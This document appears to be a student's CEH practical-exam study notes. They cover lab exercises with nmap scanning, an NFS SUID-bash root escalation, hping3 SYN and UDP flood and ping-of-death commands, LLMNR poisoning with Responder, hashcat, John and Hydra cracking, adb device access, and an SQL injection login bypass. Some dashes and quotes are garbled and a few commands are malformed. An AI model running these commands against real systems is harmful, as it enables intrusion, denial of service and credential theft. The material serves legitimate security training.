Notes/Exercises
Nmap
Identify all active hosts in a network
nmap -sP <target_IP>/Subnet
Do a Stelth Scan, Invading firewall, IDS/IPS
nmap -sS -p 80, 443 <target_IP>/Subnet
Identify the OS of the machine hosting a DB
To check target with open DB port (3306 or 1433): nmap -sV IP/subnet
or nmap -A IP/subnet
or nmap -p3306,1433 IP/subnet
and check relative info about OS.
Locate IP address of the machine with RDP open port
nmap -Pn -p -sV 3389 <target_IP>
prim
Find FQDN of domain controller
FQDN (FQDN = Hostname + Domain) an example can be: mail.example.com mail (hostname), example.com (domain).
Scan subnet or target filtering for LDAP port (389):
nmap -p389 -sV -iL <target_list>
-> if we've more targets IP
or
nmap -p389 -sV <target_IP>
or
nmap -p 389 --script ldap-rootdse <target_IP>
If LDAP port is filtered or closed, we should try to scan host using following parameters:
nmap -Pn -A <target_IP>
In alternative we can find following ports opened: 88 (Kerberos), 636 (LDAPS), 3268 (LDAP Global).
Running nmap command we'll retrieve info about Domain and Host name:
Domain: pentester.team Service Info: Host: DC;
then FQDN = DC.pentester.team
Identify the number of hosts that are alive
to checks hosts up: nmap -sn IP/Subnet
Identify potential vulnerabilities of services
nmap -Pn --script vuln <target_IP>
Perform vertical privilege escalation of a root user, and enter the flag
Exploiting misconfigured NFS (port 2049)
nmap -sV โp 2049 IP/Subnet
sudo apt-get install nfs-common
nmap -sV โscript=nfs-showmount <Target_IP>
check available mounts:
showmount -e <Target_IP>
-> we will see /home directorymkdir /tmp/nfs
sudo mount -t nfs 10.10.1.9:/home /tmp/nfs
cd /tmp/nfs
sudo cp /bin/bash .
sudo chmod +s bash
-> it will be highlighted in redls -la
sudo df -h
sudo chmod +s bash
after them, In another terminal:
Access to target using SSH
./bash -p
and we're root!cd /home
ls -la
Find the flag:
find / -name "*.txt" -ls 2> /dev/null
WireShark
Which machine started DOS attack? DDOS attack happened on which IP? Find out http crediantls from PCAP file?
To find DOS (SYN and ACK) :
statistic -> IPv4 statistics -> source and destination address
filter using:
tcp.flags.syn == 1
ortcp.flags.syn == 1 and tcp.flags.ack == 0
or filter to highest number of request
Analyze the pcap file and determine the number of machines that were involved in DDOS attack
statistic -> IPv4 statistic -> source and destination address
Or
View Flood attack on victim via Wireshark | use filter tcp.port=21
Or
Find the dos attacker ip using Wireshark
Statistic -> conversion
identified ip , which has flooding server with SYN request.
Or
get the statistics of ipv4 -> we can see that Packets B -> A are null, because the're not reply pack.
To find passwords :
http.request.method == POST
To find DOS -> Look for Red and Black packets with around 1-2 simple packets in between and then pick any packet and check the Source and Destination IP with port if need.
SYN DDOS Attack using Hping
hping3 -S 1.1.1.6 -a 1.1.1.3 -p 22 --flood
1.1.1.6 is target IP
1.1.1.3 is the spoof IP
22 is port number.
POD - Ping of Death Attack
hping3 -d 65538 -S -p 21 --flood 1.1.1.6
-d is data size
-S is syn packets
-p is port (you can flood any app with open ports.
UDP Flood attack
hping3 -2 -p 139 --flood 1.1.1.6
-2 is for UDP
-p is port
Identify IoT Message and its Length using capture.cap
Filter .cap file on wireshark with 'MQTT' filter
Select packet related to Publish Message
Click on MQ Telemetry Transport Protocol -> Header Flags -> Message Msg Len
or
Click on MQ Telemetry Transport Protocol -> Publish Message -> Msg Len
BCTextEncoder
Decrypt the encoded secret and enter the decrpted text as the answer
Use BCTextEncoder to decrypt the encoded secret file, psw can be the same of SMB login
LLMNR Poisoning NTML Hash cracking
Responder: responder -I eth0 -rdwv
Copy the hash from responder to ntlmhash.txt
and crack it using Hashcat or John
Hashcat
hashcat -m 0 -a 0 hash.txt passwordlist.txt -m 0
hashcat -m 5600 ntlmhash.txt /usr/share/wordlists/rockyou.txt
MD5 hash mode -a 0:
Dictionary attack mode hash.txt txt file containing hash in a compliant format passwordlist.txt: dictionary file containing passwords in plain text
John the Ripper
john โformat-raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
john /usr/share/responder/logs/SMB-NTLMv2-SSP-1.1.15.txt
Hydra
Crack the FTP credentials to obtain file stored into FTP server an enter the content as the answer
Find IP with FTP open port: nmap -p 21 IP/Subnet
if we know username:
hydra -l user -P passlist.txt ftp://IP
if we don't know username and psw:
hydra -L /user.txt -P password.txt ftp://IP
orhydra -L /home/attacker/Desktop/CEH_TOOLS/Wordlists/Username.txt -P /home/attacker/Desktop/CEH_TOOLS/Wordlists/Password.txt ftp://IP
Login using FTP credentials obtained, get flag and cat it.
Crack the SMB credentials knowing username to obtain file stored into share
Brute force smb login
Download file stored into share
Entropy
Perform deep scan on the elf files and obtain the last 4 digits of SHA 384 hash of the file with highest entropy value locate into android folder
Scan adb port:
nmap ip -sV -p 5555
Connect adb:
adb connect IP:5555
Access mobile device:
adb shell
Elevate privilege using:
sudo -i
(if it is possile)pwd
-->ls
-->cd sdcard/Notifications/Scan
-->ls
-->cat secret.txt
(If you can't find, check in others folders)Download files:
adb pull /sdcard/Notifications/Scan
Do it in another shell, without adb connection!We've three elf files, now we need to calcolate entropy for each of them using this command:
ent file.elf
After selecting file.elf with highest entropy, we need to calculate hash of SHA 384:
sha384sum file.elf
and consider only the last 4 digits of the hash result.
FTP
To download resources from FTP service we can use following commands:

Perform an SQL injection attack on web application and retrieve psw of user Mario (you just know these credentials maria:ferrari10)
If we just know crediantials (how our case) login, otherwise we need to bypass login putting into username box:
user' OR 1=1 --
and into psw a random textClick on view profile (../viewprofile.aspx?id=1). There, we can use IDOR vulnerability (manipulating =id value) and seeing info regarding another user. In alternative we can use SQLMap to dump user info.

Find command
Searching the target system for important information and potential privilege escalation vectors can be fruitful. The built-in โfindโ command is useful and worth keeping in your arsenal.
Below are some useful examples for the โfindโ command.
Find files:
find / -type f -iname "flag1.txt" 2>/dev/null
: find the file named "flag1.txt" case insensitive under / and not showing output errorsfind . -name flag1.txt
: find the file named โflag1.txtโ in the current directoryfind /home -name flag1.txt
: find the file names โflag1.txtโ in the /home directoryfind / -type d -name config
: find the directory named config under โ/โfind / -type f -perm 0777
: find files with the 777 permissions (files readable, writable, and executable by all users)find / -perm a=x
: find executable filesfind /home -user frank
: find all files for user โfrankโ under โ/homeโfind / -mtime 10
: find files that were modified in the last 10 daysfind / -atime 10
: find files that were accessed in the last 10 dayfind / -cmin -60
: find files changed within the last hour (60 minutes)find / -amin -60
: find files accesses within the last hour (60 minutes)find / -size 50M
: find files with a 50 MB size
This command can also be used with (+) and (-) signs to specify a file that is larger or smaller than the given size.
The example above returns files that are larger than 100 MB. It is important to note that the โfindโ command tends to generate errors which sometimes makes the output hard to read. This is why it would be wise to use the โfindโ command with โ-type f 2>/dev/nullโ to redirect errors to โ/dev/nullโ and have a cleaner output.
Folders and files that can be written to or executed from:
find / -writable -type d 2>/dev/null
: Find world-writeable foldersfind / -perm -222 -type d 2>/dev/null
: Find world-writeable foldersfind / -perm -o w -type d 2>/dev/null
: Find world-writeable folders
The reason we see three different โfindโ commands that could potentially lead to the same result can be seen in the manual document. As you can see below, the perm parameter affects the way โfindโ works.
find / -perm -o x -type d 2>/dev/null
: Find world-executable folders
Find development tools and supported languages:
find / -name perl*
find / -name python*
find / -name gcc*
Find specific file permissions:
Below is a short example used to find files that have the SUID bit set. The SUID bit allows the file to run with the privilege level of the account that owns it, rather than the account which runs it.
This allows for an interesting privilege escalation path,we will see in more details on task 6.
The example below is given to complete the subject on the โfindโ command.
find / -perm -u=s -type f 2>/dev/null
: Find files with the SUID bit, which allows us to run the file with a higher privilege level than the current user.
